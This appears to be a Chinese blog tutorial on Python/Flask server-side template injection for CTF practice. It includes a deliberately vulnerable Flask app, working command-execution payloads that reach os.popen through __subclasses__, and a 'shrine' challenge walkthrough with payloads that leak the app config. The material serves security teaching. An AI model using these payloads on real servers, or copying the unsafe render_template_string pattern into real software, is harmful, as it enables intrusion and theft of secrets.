type
status
date
slug
summary
tags
category
icon
password
0x00 SSTI
1.什么是SSTI注入?
SSTI模板注入(Server-Side Template Injection),通过与服务端模板的 输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的,目前CTF常见的SSTI题中,大部分是考python的。
2.造成的原因与利用条件
网站由数据与模板框架处理输出页面,我们的数据在数据库不会改变,但是画面的模板可以转换多样,不同的模板可以给人不同的视觉感受,但是当模板存在可控的参数变量或模板代码内有模板的调试功能,可能会导致ssti模板注入,争对大多数脚本类型均存在该注入。常见为python的CTF考点较多
3.危害有哪些?
可造成文件读取,命令执行,代码执行等
0x01 案例理解SSTI
敏感函数词组:
flask
render_template_string
Python案例:
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)
app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')
def hello_world():
return 'Hello World!'
@app.errorhandler(404)
def page_not_found(e):
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3> #%s获取404_url参数下列字段内容,从而输入可控变量注入
</div>
{%% endblock %%}
''' % (request.args.get('404_url'))
return render_template_string(template), 404
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True)
可被python脚本执行,存在注入
通过payload类型,可RCE进行文件的读取与对本机等操作等
os._wrap_close类里有popen。
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()
0x02 CTF案例
题目页面:
构造2-2执行,说明存在ssti注入执行
查看所有的全局变量,参考全局变量
利用全局变量获取当前应用下面的config值
url_for()函数是用于构建操作指定函数的URL
get_flashed_messages()函数是获取传递过来的数据
获取全局变量
/shrine/{{url_for.__globals__}}
或
/shrine/{{get_flashed_messages.__globals__}}
利当前的全局变量读取:
/shrine/{{url_for.__globals__['current_app'].config}}
或
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
补充: pyc的反编译知识点
pyc也是一种脚本封装的形式,类似于
aspx:DLL文件
java:.class/jar/war文件
pyc是一种可反编译的封装,也有反编译难度大的pyd等文件
pyc反编译参考网站:
反编译平台:
- 作者:告白
- 链接:https://www.gbsec.top/article/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E8%AE%B2%E8%A7%A3%E4%B8%8E%E7%9C%9F%E9%A2%98%E5%AE%9E%E6%93%8D
- 声明:本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
相关文章